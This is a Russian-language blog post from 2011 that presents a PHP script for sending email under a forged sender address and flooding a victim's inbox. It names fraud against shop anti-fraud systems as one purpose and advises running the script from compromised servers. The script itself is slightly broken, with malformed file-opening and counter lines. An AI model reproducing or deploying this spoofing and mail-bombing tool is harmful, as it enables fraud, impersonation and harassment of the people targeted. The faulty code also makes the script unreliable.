четверг, 22 сентября 2011 г.

Oтослать письмо с поддельным адресом отправителя


Зачастую у многих из нас возникает необходимость отправить на мыло мессагу с поддельным адресом отправителя. Цели у всех разные: кто-то просто хочет приколоться над другом, а кто-то таким образом обходит антифрод в очередном забугорном шопе :). Тем не менее способ реализации в обоих случаях одинаковый. Для наглядности я подробно распишу все необходимые действия, чтобы у тебя не возникало лишних вопросов. Итак:
1. Берем в руки PHP и начинаем кодить (комменты ниже):


<?
ignore_user_abort(1);
set_time_limit(0);
$to = "target@mail.com";
$from = "from@mail.com";
$subject = "test";
$msg = "mail_message";
//$check = "your_mail@mail.com";
$amount = 1;
$fl = ("./log.txt", "w");
$count = 0;
if(strlen($from) == 0 || strlen($to) == 0 || strlen($msg) == 0 || strlen($amount) == 0){
echo("<br><center>Write message!</center>");
exit;
}
else{
while($count < $amount){
mail("$to", "$subject", "$msg", "From: $from");
count .= + 1;
fputs($fl, "$count flood-letters was sended...\n");
}
if(strlen($check) != 0){
$check_text = 'Done! $count flood-letters was sended!\n';
$check_sub = 'Check';
mail("$check", "$check_sub", "$check_text", "From: $from");
fputs($fl, "Done! $count flood-letters was sended!\n");
}
else{
fputs($fl, "Done! $count flood-letters was sended!\n");
}
}
fclose($fl);
?>
Как видишь, получившийся скрипт умеет не только отсылать мессаги от левого отправителя, но и довольно успешно флудит мыльник жертвы. Все, что от тебя требуется, - это указать следующие данные перед рассылкой:
  • $to = "target@mail.com"; - здесь вбиваем мыльник недруга (куда будем отсылать письмо).
  • $from = "from@mail.com"; - указываем адрес отправителя (от кого отправлено письмо, например admin@msn.com :)).
  • $subject = "test"; - тема нашего письма.
  • $msg = "mail_message"; - сама мессага :).
  • //$check = "your_mail@mail.com"; - необязательный параметр - отсылка лога тебе на мыло.
  • $amount = 1; - количество писем.
То есть при желании ты можешь задать параметру $amount значение 100 и пофлудить чужой мыльник. Однако стоит помнить, что рассылка проводится средствами PHP, а следовательно, полноценного спама не получится (одним словом, не жадничай :)).
2. Далее необходимо выбрать сервер, с которого мы будем запускать наш скрипт. Если тебе надо отослать лишь одно письмо с поддельным обратным адресом, то можешь смело регаться на фриварных хостингах с поддержкой PHP. Как правило, они разрешают отправку писем со своих доменов, но с очень жестким тайм-аутом (вплоть до минуты). Ну а если ты хочешь заняться флудом, то без ломаных серверов здесь не обойтись. В общем, как и где найти сервер, объяснять, думаю, не нужно, только не забывай про обязательное наличие PHP и Sendmail.
3. Раздобыв сервер, быстренько заливаем вышеописанный PHP -скрипт, указываем свои параметры и запускаем его :).

Комментариев нет:

Отправить комментарий